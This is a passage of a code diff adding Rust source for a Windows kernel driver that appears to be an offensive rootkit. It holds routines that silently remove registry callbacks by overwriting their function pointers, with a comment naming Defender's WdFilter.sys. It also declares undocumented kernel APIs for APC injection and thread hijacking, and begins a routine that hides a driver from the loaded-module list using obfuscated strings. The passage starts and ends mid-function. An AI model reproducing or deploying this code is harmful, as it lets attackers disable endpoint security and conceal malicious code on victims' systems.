let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: callback.index as u8,
name,
pre_operation: callback.pre_operation as usize,
post_operation: callback.post_operation as usize,
address: 0,
});
break;
}
// Move to the next module
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset the module list pointer for the next callback
ldr_data = start_entry;
}
Ok(callbacks)
}

View File

@@ -0,0 +1,259 @@
use alloc::vec::Vec;
use common::{enums::Callbacks, structs::CallbackInfoOutput};
use spin::{Lazy, Mutex};
use wdk_sys::{NTSTATUS, STATUS_SUCCESS};
use super::CallbackResult;
use crate::data::{CallbackRestaure, CM_CALLBACK, LDR_DATA_TABLE_ENTRY};
use crate::{
callback::find_callback_address,
error::{ShadowError, ShadowResult},
lock::with_push_lock_exclusive,
modules,
};
const MAX_CALLBACK: usize = 100;
/// Stores information about removed callbacks.
static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy<Mutex<Vec<CallbackRestaure>>> =
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_CALLBACK)));
/// Restores a previously removed callback by its index.
///
/// # Arguments
///
/// * `callback` - The type of callback to be restored.
/// * `index` - The index of the callback to restore.
///
/// # Returns
///
/// A success state if the callback is successfully restored.
pub unsafe fn restore(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
// Lock the removed callbacks to ensure thread-safe access
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
// Locating the target callback index
let index = callbacks_info
.iter()
.position(|c| c.callback == callback && c.index == index)
.ok_or(ShadowError::IndexNotFound(index))?;
// Retrieve the callback address based on the callback type
let (callback, count, lock) =
if let CallbackResult::Registry(addr) = find_callback_address(&callback)? {
addr
} else {
return Err(ShadowError::CallbackNotFound);
};
// Getting a lock to perform the restore operation
with_push_lock_exclusive(lock as *mut u64, || {
let count = *(count as *mut u32) + 1;
let mut pcm_callback = callback as *mut CM_CALLBACK;
for i in 0..count {
if pcm_callback.is_null() {
break;
}
if i == index as u32 {
// If the index is matched, restore from the list
(*pcm_callback).Function = callbacks_info[index].address;
callbacks_info.remove(index);
return Ok(STATUS_SUCCESS);
}
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
}
Err(ShadowError::RestoringFailureCallback)
})
}
/// Removes a callback from the specified routine.
///
/// # Arguments
///
/// * `target_callback` - Pointer to the callback information input.
///
/// # Returns
///
/// If the callback is successfully removed.
pub unsafe fn remove(callback: Callbacks, index: usize) -> ShadowResult<NTSTATUS> {
// Retrieve the callback address based on the callback type
let (callbacks, count, lock) =
if let CallbackResult::Registry(addr) = find_callback_address(&callback)? {
addr
} else {
return Err(ShadowError::CallbackNotFound);
};
// Getting a lock to perform the remove operation
with_push_lock_exclusive(lock as *mut u64, || {
let count = *(count as *mut u32) + 1;
let mut pcm_callback = callbacks as *mut CM_CALLBACK;
let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
let mut prev_addr = 0;
for i in 0..count {
if i == 1 {
// Here we make an exchange, changing the target address to `WdFilter.sys`
prev_addr = (*pcm_callback).Function;
}
if pcm_callback.is_null() {
break;
}
if i == index as u32 {
let callback_restaure = CallbackRestaure {
index,
callback,
address: (*pcm_callback).Function,
..Default::default()
};
// If the index is matched, remove from the list
(*pcm_callback).Function = prev_addr;
callbacks_info.push(callback_restaure);
return Ok(STATUS_SUCCESS);
}
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
}
Err(ShadowError::RemoveFailureCallback)
})
}
/// Searches for a module associated with a callback and updates callback information.
///
/// # Arguments
///
/// * `target_callback` - Pointer to the callback information input.
/// * `callback_info` - Pointer to the callback information output.
/// * `information` - Pointer to a variable to store information size.
///
/// # Returns
///
/// Status of the operation.
pub unsafe fn enumerate(callback: Callbacks) -> ShadowResult<Vec<CallbackInfoOutput>> {
// Retrieve the callback address based on the callback type
let (callback, count, lock) =
if let CallbackResult::Registry(addr) = find_callback_address(&callback)? {
addr
} else {
return Err(ShadowError::CallbackNotFound);
};
let (mut ldr_data, module_count) = modules()?;
let start_entry = ldr_data;
let mut callbacks = Vec::new();
let count = *(count as *mut u32) + 1;
let mut pcm_callback = callback as *mut CM_CALLBACK;
with_push_lock_exclusive(lock as *mut u64, || {
for i in 0..count as isize {
if pcm_callback.is_null() {
break;
}
// Iterate over the loaded modules
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
let addr = (*pcm_callback).Function;
if addr > start_address as u64 && addr < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: i as u8,
address: addr as usize,
name,
..Default::default()
});
break;
}
// Go to the next module in the list
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset ldr_data for next callback
ldr_data = start_entry;
pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK;
}
Ok(callbacks)
})
}
/// List of callbacks currently removed.
///
/// # Arguments
///
/// * `target_callback` - Pointer to the callback information input.
/// * `callback_info` - Pointer to the callback information output.
/// * `information` - Pointer to a variable to store information size.
///
/// # Returns
///
/// Status of the operation.
pub unsafe fn enumerate_removed() -> ShadowResult<Vec<CallbackInfoOutput>> {
let mut callbacks = Vec::new();
let callbacks_removed = INFO_CALLBACK_RESTAURE_REGISTRY.lock();
let (mut ldr_data, module_count) = modules()?;
let start_entry = ldr_data;
for (i, callback) in callbacks_removed.iter().enumerate() {
for _ in 0..module_count {
let start_address = (*ldr_data).DllBase;
let image_size = (*ldr_data).SizeOfImage;
let end_address = start_address as u64 + image_size as u64;
if callback.address > start_address as u64 && callback.address < end_address {
let buffer = core::slice::from_raw_parts(
(*ldr_data).BaseDllName.Buffer,
((*ldr_data).BaseDllName.Length / 2) as usize,
);
// Store the callback information
let mut name = [0u16; 256];
let length = core::cmp::min(buffer.len(), 255);
name[..length].copy_from_slice(&buffer[..length]);
callbacks.push(CallbackInfoOutput {
index: callback.index as u8,
address: callback.address as usize,
name,
..Default::default()
});
break;
}
// Move to the next module
ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
// Reset the module list pointer for the next callback
ldr_data = start_entry;
}
Ok(callbacks)
}

View File

@@ -0,0 +1,29 @@
#[repr(C)]
pub enum KAPC_ENVIROMENT {
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment,
InsertApcEnvironment,
}
#[derive(Clone, Copy)]
pub enum COMUNICATION_TYPE {
TCP = 3,
UDP = 1,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub enum KTHREAD_STATE {
Initialized,
Ready,
Running,
Standby,
Terminated,
Waiting,
Transition,
DeferredReady,
GateWaitObsolete,
WaitingForProcessInSwap,
MaximumThreadState,
}

View File

@@ -0,0 +1,109 @@
use super::*;
use crate::data::{KBUGCHECK_REASON_CALLBACK_RECORD, KBUGCHECK_REASON_CALLBACK_ROUTINE};
use ntapi::ntexapi::SYSTEM_INFORMATION_CLASS;
use wdk_sys::*;
extern "C" {
pub static mut IoDriverObjectType: *mut *mut _OBJECT_TYPE;
}
extern "C" {
pub static PsLoadedModuleResource: *mut ERESOURCE;
}
extern "system" {
pub fn PsGetProcessPeb(Process: PEPROCESS) -> PPEB;
pub fn PsSuspendProcess(Process: PEPROCESS) -> NTSTATUS;
pub fn PsResumeProcess(Process: PEPROCESS) -> NTSTATUS;
pub fn PsGetCurrentThread() -> PETHREAD;
pub fn KeTestAlertThread(AlertMode: KPROCESSOR_MODE);
pub fn IoCreateDriver(
DriverName: PUNICODE_STRING,
DriverInitialize: types::DRIVER_INITIALIZE,
) -> NTSTATUS;
pub fn KeRegisterBugCheckReasonCallback(
CallbackRecord: *mut KBUGCHECK_REASON_CALLBACK_RECORD,
CallbackRoutine: KBUGCHECK_REASON_CALLBACK_ROUTINE,
Reason: KBUGCHECK_CALLBACK_REASON,
Component: PUCHAR,
) -> BOOLEAN;
pub fn KeDeregisterBugCheckReasonCallback(
CallbackRecord: *mut KBUGCHECK_REASON_CALLBACK_RECORD,
) -> BOOLEAN;
pub fn KeUserModeCallback(
ApiIndex: ULONG,
InputBuffer: PVOID,
InputLength: ULONG,
OutputBuffer: *mut PVOID,
OutputLength: PULONG,
) -> NTSTATUS;
pub fn ZwProtectVirtualMemory(
ProcessHandle: HANDLE,
BaseAddress: *mut PVOID,
RegionSize: PSIZE_T,
NewProtect: ULONG,
OldProtect: PULONG,
) -> NTSTATUS;
pub fn MmCopyVirtualMemory(
SourceProcess: PEPROCESS,
SourceAddress: PVOID,
TargetProcess: PEPROCESS,
TargetAddress: PVOID,
BufferSize: SIZE_T,
PreviousMode: KPROCESSOR_MODE,
ReturnSize: PSIZE_T,
);
pub fn KeInitializeApc(
APC: PRKAPC,
Thread: PETHREAD,
Environment: enums::KAPC_ENVIROMENT,
KernelRoutine: types::PKKERNEL_ROUTINE,
RundownRoutine: types::PKRUNDOWN_ROUTINE,
NormalRoutine: types::PKNORMAL_ROUTINE,
ApcMode: KPROCESSOR_MODE,
NormalContext: PVOID,
);
pub fn ZwQuerySystemInformation(
SystemInformationClass: SYSTEM_INFORMATION_CLASS,
SystemInformation: PVOID,
SystemInformationLength: ULONG,
ReturnLength: PULONG,
) -> NTSTATUS;
pub fn KeInsertQueueApc(
APC: PRKAPC,
SystemArgument1: PVOID,
SystemArgument2: PVOID,
Increment: KPRIORITY,
) -> bool;
pub fn PsGetContextThread(
Thread: PETHREAD,
ThreadContext: PCONTEXT,
Mode: KPROCESSOR_MODE,
) -> NTSTATUS;
pub fn PsSetContextThread(
Thread: PETHREAD,
ThreadContext: PCONTEXT,
Mode: KPROCESSOR_MODE,
) -> NTSTATUS;
pub fn ObReferenceObjectByName(
ObjectName: PUNICODE_STRING,
Attributes: u32,
AccessState: PACCESS_STATE,
DesiredAccess: ACCESS_MASK,
ObjectType: POBJECT_TYPE,
AccessMode: KPROCESSOR_MODE,
ParseContext: PVOID,
Object: *mut PVOID,
) -> NTSTATUS;
}

View File

@@ -0,0 +1,18 @@
#![allow(non_camel_case_types, non_snake_case)]
mod structs;
pub use structs::*;
mod types;
pub use types::*;
mod externs;
pub use externs::*;
mod enums;
pub use enums::*;
pub const PROCESS_TERMINATE: u32 = 0x0001;
pub const PROCESS_CREATE_THREAD: u32 = 0x0002;
pub const PROCESS_VM_OPERATION: u32 = 0x0008;
pub const PROCESS_VM_READ: u32 = 0x0010;

View File

@@ -0,0 +1,589 @@
use super::COMUNICATION_TYPE;
use bitfield::bitfield;
use common::enums::Callbacks;
use core::{ffi::c_void, mem::ManuallyDrop};
use wdk_sys::*;
bitfield! {
pub struct PS_PROTECTION(u8);
pub u8, Type, SetType: 2, 0;
pub u8, Audit, SetAudit: 3;
pub u8, Signer, SetSigner: 7, 4;
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct KBUGCHECK_REASON_CALLBACK_RECORD {
pub Entry: LIST_ENTRY,
pub CallbackRoutine: PKBUGCHECK_REASON_CALLBACK_ROUTINE,
pub Component: PUCHAR,
pub Checksum: usize,
pub Reason: KBUGCHECK_CALLBACK_REASON,
pub State: u8,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct PEB {
pub Reserved1: [u8; 2],
pub BeingDebugged: u8,
pub Reserved2: [u8; 1],
pub Reserved3: [*mut c_void; 2],
pub Ldr: *mut PEB_LDR_DATA,
pub ProcessParameters: *mut RTL_USER_PROCESS_PARAMETERS,
pub Reserved4: [*mut c_void; 3],
pub AtlThunkSListPtr: *mut c_void,
pub Reserved5: *mut c_void,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct RTL_USER_PROCESS_PARAMETERS {
pub Reserved1: [u8; 16],
pub Reserved2: [*mut c_void; 10],
pub ImagePathName: UNICODE_STRING,
pub CommandLine: UNICODE_STRING,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct PEB_LDR_DATA {
pub Length: u32,
pub Initialized: u8,
pub SsHandle: HANDLE,
pub InLoadOrderModuleList: LIST_ENTRY,
pub InMemoryOrderModuleList: LIST_ENTRY,
pub InInitializationOrderModuleList: LIST_ENTRY,
pub EntryInProgress: *mut c_void,
pub ShutdownInProgress: u8,
pub ShutdownThreadId: HANDLE,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct LDR_DATA_TABLE_ENTRY {
pub InLoadOrderLinks: LIST_ENTRY,
pub InMemoryOrderLinks: LIST_ENTRY,
pub InInitializationOrderLinks: LIST_ENTRY,
pub DllBase: *mut c_void,
pub EntryPoint: *mut c_void,
pub SizeOfImage: u32,
pub FullDllName: UNICODE_STRING,
pub BaseDllName: UNICODE_STRING,
pub Flags: u32,
pub LoadCount: u32,
pub TlsIndex: u16,
pub HashLinks: LIST_ENTRY,
pub TimeDateStamp: u32,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub union LDR_DATA_TABLE_ENTRY_0 {
pub CheckSum: u32,
pub Reserved6: *mut c_void,
}
#[repr(C, packed(2))]
#[derive(Clone, Copy)]
pub struct IMAGE_DOS_HEADER {
pub e_magic: u16,
pub e_cblp: u16,
pub e_cp: u16,
pub e_crlc: u16,
pub e_cparhdr: u16,
pub e_minalloc: u16,
pub e_maxalloc: u16,
pub e_ss: u16,
pub e_sp: u16,
pub e_csum: u16,
pub e_ip: u16,
pub e_cs: u16,
pub e_lfarlc: u16,
pub e_ovno: u16,
pub e_res: [u16; 4],
pub e_oemid: u16,
pub e_oeminfo: u16,
pub e_res2: [u16; 10],
pub e_lfanew: i32,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct IMAGE_NT_HEADERS {
pub Signature: u32,
pub FileHeader: IMAGE_FILE_HEADER,
pub OptionalHeader: IMAGE_OPTIONAL_HEADER64,
}
#[repr(C)]
pub struct IMAGE_SECTION_HEADER {
pub Name: [u8; 8],
pub Misc: IMAGE_SECTION_HEADER_0,
pub VirtualAddress: u32,
pub SizeOfRawData: u32,
pub PointerToRawData: u32,
pub PointerToRelocations: u32,
pub PointerToLinenumbers: u32,
pub NumberOfRelocations: u16,
pub NumberOfLinenumbers: u16,
pub Characteristics: u32,
}
#[repr(C)]
pub union IMAGE_SECTION_HEADER_0 {
pub PhysicalAddress: u32,
pub VirtualSize: u32,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct IMAGE_FILE_HEADER {
pub Machine: u16,
pub NumberOfSections: u16,
pub TimeDateStamp: u32,
pub PointerToSymbolTable: u32,
pub NumberOfSymbols: u32,
pub SizeOfOptionalHeader: u16,
pub Characteristics: u16,
}
#[repr(C, packed(4))]
#[derive(Clone, Copy)]
pub struct IMAGE_OPTIONAL_HEADER64 {
pub Magic: u16,
pub MajorLinkerVersion: u8,
pub MinorLinkerVersion: u8,
pub SizeOfCode: u32,
pub SizeOfInitializedData: u32,
pub SizeOfUninitializedData: u32,
pub AddressOfEntryPoint: u32,
pub BaseOfCode: u32,
pub ImageBase: u64,
pub SectionAlignment: u32,
pub FileAlignment: u32,
pub MajorOperatingSystemVersion: u16,
pub MinorOperatingSystemVersion: u16,
pub MajorImageVersion: u16,
pub MinorImageVersion: u16,
pub MajorSubsystemVersion: u16,
pub MinorSubsystemVersion: u16,
pub Win32VersionValue: u32,
pub SizeOfImage: u32,
pub SizeOfHeaders: u32,
pub CheckSum: u32,
pub Subsystem: u16,
pub DllCharacteristics: u16,
pub SizeOfStackReserve: u64,
pub SizeOfStackCommit: u64,
pub SizeOfHeapReserve: u64,
pub SizeOfHeapCommit: u64,
pub LoaderFlags: u32,
pub NumberOfRvaAndSizes: u32,
pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct IMAGE_DATA_DIRECTORY {
pub VirtualAddress: u32,
pub Size: u32,
}
#[repr(C)]
#[derive(Clone, Copy)]
pub struct IMAGE_EXPORT_DIRECTORY {
pub Characteristics: u32,
pub TimeDateStamp: u32,
pub MajorVersion: u16,
pub MinorVersion: u16,
pub Name: u32,
pub Base: u32,
pub NumberOfFunctions: u32,
pub NumberOfNames: u32,
pub AddressOfFunctions: u32,
pub AddressOfNames: u32,
pub AddressOfNameOrdinals: u32,
}
#[repr(C)]
pub struct PROCESS_SIGNATURE {
pub SignatureLevel: u8,
pub SectionSignatureLevel: u8,
pub Protection: PS_PROTECTION,
}
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct SystemModuleInformation {
pub ModuleCount: u32,
pub Modules: [SystemModule; 256],
}
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct SystemModule {
pub Section: *mut c_void,
pub MappedBase: *mut c_void,
pub ImageBase: *mut c_void,
pub Size: u32,
pub Flags: u32,
pub Index: u8,
pub NameLength: u8,
pub LoadCount: u8,
pub PathLength: u8,
pub ImageName: [u8; 256],
}
#[repr(C)]
pub struct MMVAD_SHORT {
pub VadNode: RTL_BALANCED_NODE,
pub StartingVpn: u32,
pub EndingVpn: u32,
pub StartingVpnHigh: u8,
pub EndingVpnHigh: u8,
pub CommitChargeHigh: u8,
pub SpareNT64VadUChar: u8,
pub ReferenceCount: i32,
pub PushLock: usize,
pub u: MMVAD_SHORT_0,
pub u1: MMVAD_SHORT_0_0,
pub u5: MMVAD_SHORT_0_0_0,
}
#[repr(C)]
pub union MMVAD_SHORT_0 {
pub LongFlags: u32,
pub VadFlags: ManuallyDrop<MMVAD_FLAGS>,
pub PrivateVadFlags: ManuallyDrop<MM_PRIVATE_VAD_FLAGS>,
pub GraphicsVadFlags: ManuallyDrop<MM_GRAPHICS_VAD_FLAGS>,
pub SharedVadFlags: ManuallyDrop<MM_SHARED_VAD_FLAGS>,
pub VolatileLong: u32,
}
#[repr(C)]
pub union MMVAD_SHORT_0_0 {
pub LongFlags1: u32,
pub VadFlags1: ManuallyDrop<MMVAD_FLAGS1>,
}
#[repr(C)]
pub union MMVAD_SHORT_0_0_0 {
pub EventListUlongPtr: u64,
pub StartingVpnHigher: u8,
}
#[repr(C)]
pub struct SUBSECTION {
pub ControlArea: *mut CONTROL_AREA,
}
#[repr(C)]
pub struct CONTROL_AREA {
Segment: *mut *mut c_void,
ListOrAweContext: LIST_OR_AWE_CONTEXT,
NumberOfSectionReferences: u64,
NumberOfPfnReferences: u64,
NumberOfMappedViews: u64,
NumberOfUserReferences: u64,
u: CONTROL_AREA_0,
u1: CONTROL_AREA_0_0,
pub FilePointer: EX_FAST_REF,
}
#[repr(C)]
pub struct EX_FAST_REF {
pub Inner: EX_FAST_REF_INNER,
}
#[repr(C)]
pub union EX_FAST_REF_INNER {
pub Object: *mut c_void,
pub Value: u64,
}
#[repr(C)]
pub union CONTROL_AREA_0 {
LongFlags: u32,
Flags: u32,
}
#[repr(C)]
pub union CONTROL_AREA_0_0 {
LongFlags: u32,
Flags: u32,
}
#[repr(C)]
pub union LIST_OR_AWE_CONTEXT {
ListHead: LIST_ENTRY,
AweContext: *mut c_void,
}
#[repr(C)]
pub struct MMVAD {
Core: MMVAD_SHORT,
u2: MMVAD_0,
pub SubSection: *mut SUBSECTION,
}
#[repr(C)]
pub union MMVAD_0 {
LongFlags2: u32,
VadFlags2: ManuallyDrop<MMVAD_FLAGS2>,
}
bitfield! {
#[repr(C)]
pub struct MMVAD_FLAGS(u32);
impl Debug;
u32;
pub Lock, SetLock: 0;
pub LockContended, SetLockContended: 1;
pub DeleteInProgress, SetDeleteInProgress: 2;
pub NoChange, SetNoChange: 3;
pub VadType, SetVadType: 6, 4;
pub Protection, SetProtection: 11, 7;
pub PreferredNode, SetPreferredNode: 18, 12;
pub PageSize, SetPageSize: 19, 20;
pub PrivateMemory, SetPrivateMemory: 21;
}
bitfield! {
#[repr(C)]
pub struct MMVAD_FLAGS1(u32);
impl Debug;
pub CommitCharge, SetCommitCharge: 30, 0;
pub MemCommit, SetMemCommit: 31;
}
bitfield! {
#[repr(C)]
pub struct MMVAD_FLAGS2(u32);
impl Debug;
u32;
pub FileOffset, SetFileOffset: 0, 23;
pub Large, SetLarge: 24;
pub TrimBehind, SetTrimBehind: 25;
pub Inherit, SetInherit: 26;
pub NoValidationNeeded, SetNoValidationNeeded: 27;
pub PrivateDemandZEro, SetPrivateDemandZero: 28;
pub Spare, SetSpare: 29, 31;
}
bitfield! {
#[repr(C)]
pub struct MM_SHARED_VAD_FLAGS(u32);
impl Debug;
u32;
pub Lock, SetLock: 1;
pub LockContended, SetLockContended: 1;
pub DeleteInProgress, SetDeleteInProgress: 1;
pub NoChange, SetNoChange: 1;
pub VadType, SetVadType: 6, 4;
pub Protection, SetProtection: 11, 7;
pub PreferredNode, SetPreferredNode: 18, 12;
pub PageSize, SetPageSize: 19, 20;
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
pub PrivateFixup, SetPrivateFixup: 22;
pub HotPatchState, SetHotPatchState: 24, 23;
}
bitfield! {
#[repr(C)]
pub struct MM_PRIVATE_VAD_FLAGS(u32);
impl Debug;
u32;
pub Lock, SetLock: 1;
pub LockContended, SetLockContended: 1;
pub DeleteInProgress, SetDeleteInProgress: 1;
pub NoChange, SetNoChange: 1;
pub VadType, SetVadType: 6, 4;
pub Protection, SetProtection: 11, 7;
pub PreferredNode, SetPreferredNode: 18, 12;
pub PageSize, SetPageSize: 19, 20;
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
pub Writewatch, setWrite: 22;
pub FixedLargePageSize, SetPageLarge: 23;
pub ZeroFillPagesOptional, SetZeroFill: 24;
pub Graphics, SetGraphics: 25;
pub Enclave, SetEnclave: 26;
pub ShadowStack, SetShadowStack: 27;
pub PhysicalMemoryPfnsReferenced, SetPhysical: 28;
}
bitfield! {
#[repr(C)]
pub struct MM_GRAPHICS_VAD_FLAGS(u32);
impl Debug;
u32;
pub Lock, SetLock: 1;
pub LockContended, SetLockContended: 1;
pub DeleteInProgress, SetDeleteInProgress: 1;
pub NoChange, SetNoChange: 1;
pub VadType, SetVadType: 6, 4;
pub Protection, SetProtection: 11, 7;
pub PreferredNode, SetPreferredNode: 18, 12;
pub PageSize, SetPageSize: 19, 20;
pub PrivateMemoryAlwaysSet, SetPrivateMemory: 21;
pub Writewatch, setWrite: 22;
pub FixedLargePageSize, SetPageLarge: 23;
pub ZeroFillPagesOptional, SetZeroFill: 24;
pub GraphicsAlwaysSet, SetGraphicsAlwaysSet: 25;
pub GraphicsUseCoherent, SetGraphicsUseCoherent: 26;
pub GraphicsNoCache, SetGraphicsNoCache: 27;
pub GraphicsPageProtection, SetGraphicsPageProtection: 30, 28;
}
#[repr(C)]
pub struct TRACE_ENABLE_INFO {
pub IsEnabled: u32,
pub Level: u8,
pub Reserved1: u8,
pub LoggerId: u16,
pub EnableProperty: u32,
pub Reserved2: u32,
pub MatchAnyKeyword: u64,
pub MatchAllKeyword: u64,
}
#[repr(C)]
#[derive(Debug)]
pub struct NSI_TCP_ENTRY {
pub Reserved1: [u8; 2],
pub Port: u16,
pub IpAddress: u32,
pub IpAddress6: [u8; 16],
pub Reserved2: [u8; 4],
}
#[repr(C)]
#[derive(Debug)]
pub struct NSI_TABLE_TCP_ENTRY {
pub Local: NSI_TCP_ENTRY,
pub Remote: NSI_TCP_ENTRY,
}
#[repr(C)]
pub struct NSI_UDP_ENTRY {
pub Reserved1: [u8; 2],
pub Port: u16,
pub IpAddress: u32,
pub IpAddress6: [u8; 16],
pub Reserved2: [u8; 4],
}
#[repr(C)]
pub struct NSI_PARAM {
pub Reserved1: usize,
pub Reverved2: usize,
pub ModuleId: *mut core::ffi::c_void,
pub Type_: COMUNICATION_TYPE,
pub Reserved3: u32,
pub Reserved4: u32,
pub Entries: *mut core::ffi::c_void,
pub EntrySize: usize,
pub Reserved5: *mut core::ffi::c_void,
pub Reserved6: usize,
pub StatusEntries: *mut NSI_STATUS_ENTRY,
pub Reserved7: usize,
pub ProcessEntries: *mut NSI_PROCESS_ENTRY,
pub ProcessEntrySize: usize,
pub Count: usize,
}
#[repr(C)]
pub struct NSI_STATUS_ENTRY {
pub State: u32,
pub Reserved: [u8; 8],
}
#[repr(C)]
pub struct NSI_PROCESS_ENTRY {
pub UdpProcessId: u32,
pub Reserved1: u32,
pub Reserved2: u32,
pub TcpProcessId: u32,
pub Reserved3: u32,
pub Reserved4: u32,
pub Reserved5: u32,
pub Reserved6: u32,
}
#[repr(C)]
pub struct FULL_OBJECT_TYPE {
pub TypeList: LIST_ENTRY,
pub Name: UNICODE_STRING,
pub DefaultObject: *mut c_void,
pub Index: u8,
pub TotalNumberOf_Objects: u32,
pub TotalNumberOfHandles: u32,
pub HighWaterNumberOfObjects: u32,
pub HighWaterNumberOfHandles: u32,
pub TypeInfo: [u8; 0x78],
pub TypeLock: _EX_PUSH_LOCK,
pub Key: u32,
pub CallbackList: LIST_ENTRY,
}
bitfield! {
pub struct _EX_PUSH_LOCK(u64);
impl Debug;
u64;
Locked, SetLocked: 0;
Waiting, SetWaiting: 1;
Waking, Setwaking: 2;
MultipleShared, SetMultipleShared: 3;
Shared, SetShared: 63, 4;
}
#[repr(C)]
#[derive(Default)]
pub struct CallbackRestaure {
pub index: usize,
pub callback: Callbacks,
pub address: u64,
}
#[repr(C)]
#[derive(Default)]
pub struct CallbackRestaureOb {
pub index: usize,
pub callback: Callbacks,
pub pre_operation: u64,
pub post_operation: u64,
pub entry: u64,
}
#[repr(C)]
#[derive(Debug, Clone, Copy)]
pub struct CM_CALLBACK {
pub List: LIST_ENTRY,
pub Unknown1: [u64; 2],
pub Context: u64,
pub Function: u64,
pub Altitude: UNICODE_STRING,
pub Unknown2: [u64; 2],
}
#[repr(C)]
pub struct OBCALLBACK_ENTRY {
pub CallbackList: LIST_ENTRY,
pub Operations: OB_OPERATION,
pub Enabled: bool,
pub Entry: *mut OB_CALLBACK,
pub ObjectType: POBJECT_TYPE,
pub PreOperation: POB_PRE_OPERATION_CALLBACK,
pub PostOperation: POB_POST_OPERATION_CALLBACK,
pub Lock: KSPIN_LOCK,
}
#[repr(C)]
pub struct OB_CALLBACK {
pub Version: u16,
pub OperationRegistrationCount: u16,
pub RegistrationContext: *mut c_void,
pub AltitudeString: UNICODE_STRING,
pub EntryItems: [OBCALLBACK_ENTRY; 1],
pub AltitudeBuffer: [u16; 1],
}

View File

@@ -0,0 +1,50 @@
use crate::data::KBUGCHECK_REASON_CALLBACK_RECORD;
use ntapi::ntpsapi::PPS_ATTRIBUTE_LIST;
use wdk_sys::*;
pub type PKRUNDOWN_ROUTINE = Option<unsafe extern "system" fn(APC: PKAPC) -> NTSTATUS>;
pub type DRIVER_INITIALIZE = Option<
unsafe extern "system" fn(
DriverObject: &mut _DRIVER_OBJECT,
RegistryPath: PCUNICODE_STRING,
) -> NTSTATUS,
>;
pub type PKNORMAL_ROUTINE = Option<
unsafe extern "system" fn(
NormalContext: *mut PVOID,
SystemArgument1: *mut PVOID,
SystemArgument2: *mut PVOID,
) -> NTSTATUS,
>;
pub type PKKERNEL_ROUTINE = unsafe extern "system" fn(
APC: PKAPC,
NormalRoutine: *mut PKNORMAL_ROUTINE,
NormalContext: *mut PVOID,
SystemArgument1: *mut PVOID,
SystemArgument2: *mut PVOID,
);
pub type KBUGCHECK_REASON_CALLBACK_ROUTINE = Option<
unsafe extern "C" fn(
Reason: KBUGCHECK_CALLBACK_REASON,
Record: *mut KBUGCHECK_REASON_CALLBACK_RECORD,
ReasonSpecificData: PVOID,
ReasonSpecificDataLength: ULONG,
),
>;
pub type ZwCreateThreadExFn = unsafe extern "system" fn(
ThreadHandle: PHANDLE,
DesiredAccess: ACCESS_MASK,
ObjectAttributes: POBJECT_ATTRIBUTES,
ProcessHandle: HANDLE,
StartRoutine: PVOID,
Argument: PVOID,
CreateFlags: SIZE_T,
ZeroBits: usize,
StackSize: usize,
MaximumStackSize: usize,
AttributeList: PPS_ATTRIBUTE_LIST,
) -> NTSTATUS;

View File

@@ -0,0 +1,184 @@
use alloc::{
string::{String, ToString},
vec::Vec,
};
use common::structs::DriverInfo;
use obfstr::obfstr;
use wdk_sys::{
ntddk::MmGetSystemRoutineAddress, LIST_ENTRY, NTSTATUS, PLIST_ENTRY, STATUS_SUCCESS,
};
use crate::data::PsLoadedModuleResource;
use crate::{
error::{ShadowError, ShadowResult},
uni,
};
use crate::{
lock::{with_eresource_exclusive_lock, with_eresource_shared_lock},
LDR_DATA_TABLE_ENTRY,
};
/// Represents driver manipulation operations.
pub struct Driver;
impl Driver {
/// Hides a specified driver from the PsLoadedModuleList.
///
/// # Arguments
///
/// * `driver_name` - A string slice containing the name of the driver to hide.
///
/// # Returns
///
/// Tuple containing the previous `LIST_ENTRY` and the `LDR_DATA_TABLE_ENTRY` of the hidden driver,
/// which can be used later to restore the driver in the list.
pub unsafe fn hide_driver(
driver_name: &str,
) -> ShadowResult<(LIST_ENTRY, LDR_DATA_TABLE_ENTRY)> {
// Convert "PsLoadedModuleList" to a UNICODE_STRING to get its address
let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList"));
// Get the address of the PsLoadedModuleList, which contains the list of loaded drivers
let ldr_data =
MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY;
if ldr_data.is_null() {
return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY"));
}
// Acquire the lock before modifying the module list
let list_entry = ldr_data as *mut LIST_ENTRY;
